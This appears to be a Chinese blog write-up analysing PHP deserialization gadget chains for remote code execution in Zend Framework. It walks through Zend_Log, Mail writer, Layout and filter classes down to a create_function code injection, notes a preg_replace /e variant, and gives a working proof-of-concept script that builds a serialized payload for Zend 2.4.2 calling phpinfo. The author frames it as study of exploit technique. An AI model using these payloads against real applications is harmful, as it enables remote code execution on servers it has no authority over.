Zend FrameWork RCE1

准备

在bin目录执行

zf create prooject web1

application\controllers\IndexController.php写入反序列化接收的参数

在这里插入图片描述

代码审计

library\Zend\Log.php中的__destruct

在这里插入图片描述

这里对_writers(私有的数组变量)遍历并调用shutdown函数

这里直接跟进会发现其调用的是Abstract.php 下的shutdown无参方法

在这里插入图片描述

没法继续向下跟进

所以需要找其他的shutdown方法

这里找到Zend_Log_Writer_Mail这个类的shutdown()

在这里插入图片描述

public function shutdown()
    {
        // If there are events to mail, use them as message body.  Otherwise,
        // there is no mail to be sent.
        if (empty($this->_eventsToMail)) {
            return;
        }

        if ($this->_subjectPrependText !== null) {
            // Tack on the summary of entries per-priority to the subject
            // line and set it on the Zend_Mail object.
            $numEntries = $this->_getFormattedNumEntriesPerPriority();
            $this->_mail->setSubject(
                "{$this->_subjectPrependText} ({$numEntries})");
        }                                    
            

        // Always provide events to mail as plaintext.
        $this->_mail->setBodyText(implode('', $this->_eventsToMail));
        // If a Zend_Layout instance is being used, set its "events"
        // value to the lines formatted for use with the layout.
        if ($this->_layout) {
            // Set the required "messages" value for the layout.  Here we
            // are assuming that the layout is for use with HTML.
            $this->_layout->events =
                implode('', $this->_layoutEventsToMail);

            // If an exception occurs during rendering, convert it to a notice
            // so we can avoid an exception thrown without a stack frame.
            try {
                $this->_mail->setBodyHtml($this->_layout->render());
            } catch (Exception $e) {
                trigger_error(
                    "exception occurred when rendering layout; " .
                        "unable to set html body for message; " .
                        "message = {$e->getMessage()}; " .
                        "code = {$e->getCode()}; " .
                        "exception class = " . get_class($e),
                    E_USER_NOTICE);
            }
        }

前两个if不为空即可

按照定义

在这里插入图片描述

$this->_mail     =>     $this->_mail = new Zend_Mail();
$this->_layout   =>     $this->_layout = new Zend_Layout();

之后进入

$this->_mail->setBodyHtml($this->_layout->render());

跟进render

public function render($name = null)
    {
        if (null === $name) {
            $name = $this->getLayout();
        }

        if ($this->inflectorEnabled() && (null !== ($inflector = $this->getInflector())))
        {
            $name = $this->_inflector->filter(array('script' => $name));
        }

        $view = $this->getView();

        if (null !== ($path = $this->getViewScriptPath())) {
            if (method_exists($view, 'addScriptPath')) {
                $view->addScriptPath($path);
            } else {
                $view->setScriptPath($path);
            }
        } elseif (null !== ($path = $this->getViewBasePath())) {
            $view->addBasePath($path, $this->_viewBasePrefix);
        }

        return $view->render($name);
    }
}

第二个if满足的两个条件

public function inflectorEnabled()
    {
        return $this->_inflectorEnabled;
    }
public function getInflector()
    {
        if (null === $this->_inflector) {
            require_once 'Zend/Filter/Inflector.php';
            $inflector = new Zend_Filter_Inflector();
            $inflector->setTargetReference($this->_inflectorTarget)
                      ->addRules(array(':script' => array('Word_CamelCaseToDash', 'StringToLower')))
                      ->setStaticRuleReference('suffix', $this->_viewSuffix);
            $this->setInflector($inflector);
        }

        return $this->_inflector;
    }

第一个好说,设置为true

第二个保证$this->_inflector 不为空即可

由于$this->_inflector是可控的,所以我们

$name = $this->_inflector->filter(array('script' => $name));

可以调用任意类的filter方法

这里找到三个地方

InflectorPregReplaceCallback中都有filter方法

跟进到Inflector

public function filter($source)
    {
        // clean source
        foreach ( (array) $source as $sourceName => $sourceValue) {
            $source[ltrim($sourceName, ':')] = $sourceValue;
        }

        $pregQuotedTargetReplacementIdentifier = preg_quote($this->_targetReplacementIdentifier, '#');
        $processedParts = array();

        foreach ($this->_rules as $ruleName => $ruleValue) {
            if (isset($source[$ruleName])) {
                if (is_string($ruleValue)) {
                    // overriding the set rule
                    $processedParts['#'.$pregQuotedTargetReplacementIdentifier.$ruleName.'#'] = str_replace('\\', '\\\\', $source[$ruleName]);
                } elseif (is_array($ruleValue)) {
                    $processedPart = $source[$ruleName];
                    foreach ($ruleValue as $ruleFilter) {
                        $processedPart = $ruleFilter->filter($processedPart);
                    }
                    $processedParts['#'.$pregQuotedTargetReplacementIdentifier.$ruleName.'#'] = str_replace('\\', '\\\\', $processedPart);
                }
            } elseif (is_string($ruleValue)) {
                $processedParts['#'.$pregQuotedTargetReplacementIdentifier.$ruleName.'#'] = str_replace('\\', '\\\\', $ruleValue);
            }
        }

        // all of the values of processedParts would have been str_replace('\\', '\\\\', ..)'d to disable preg_replace backreferences
        $inflectedTarget = preg_replace(array_keys($processedParts), array_values($processedParts), $this->_target);

        if ($this->_throwTargetExceptionsOn && (preg_match('#(?='.$pregQuotedTargetReplacementIdentifier.'[A-Za-z]{1})#', $inflectedTarget) == true)) {
            require_once 'Zend/Filter/Exception.php';
            throw new Zend_Filter_Exception('A replacement identifier ' . $this->_targetReplacementIdentifier . ' was found inside the inflected target, perhaps a rule was not satisfied with a target source?  Unsatisfied inflected target: ' . $inflectedTarget);
        }

        return $inflectedTarget;
    }

这里的preg_replace的三个参数都可控

$inflectedTarget = preg_replace(array_keys($processedParts), array_values($processedParts), $this->_target);

结合着

Callback 中的

public function filter($value)
    {
        $options = array();

        if ($this->_options !== null) {
            if (!is_array($this->_options)) {
                $options = array($this->_options);
            } else {
                $options = $this->_options;
            }
        }

        array_unshift($options, $value);

        return call_user_func_array($this->_callback, $options);
    }
}

可以实现call_user_func_array('create_function',["){}phpinfo();exit;/*",'']);

<?php
call_user_func_array('create_function',["){}phpinfo();exit;/*",'']);

实际上也就是实现了phpinfo()

在这里插入图片描述

上面提到的还有一个没有利用的filter方法

Preg_Replace

public function filter($value)
    {
        if ($this->_matchPattern == null) {
            require_once 'Zend/Filter/Exception.php';
            throw new Zend_Filter_Exception(get_class($this) . ' does not have a valid MatchPattern set.');
        }

        return preg_replace($this->_matchPattern, $this->_replacement, $value);

这里的前两个值是可控的,参考深入研究preg_replace与代码执行 - 先知社区 (aliyun.com)

原先的语句: preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
变成了语句: preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});

2.4.2 RCE 1

<?php

namespace Zend\View\Renderer;
use Zend\Config\Config;

class PhpRenderer
{
    function __construct()
    {
        $this->__helpers = new Config();
    }

}
namespace Zend\Config;

class Config {
    protected $data = [];

    function __construct()
    {
        $this->data = ['shutdown'=>"phpinfo"];
    }
}

namespace Zend\Log;

use Zend\View\Renderer\PhpRenderer;

class Logger
{
    protected $writers;

    function __construct()
    {
        $this->writers = [new PhpRenderer()];
    }

}
echo base64_encode(serialize(new Logger()));

但这里在网上找到的解读文章都不是很详尽……

主要还是想学习一下poc的手法

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值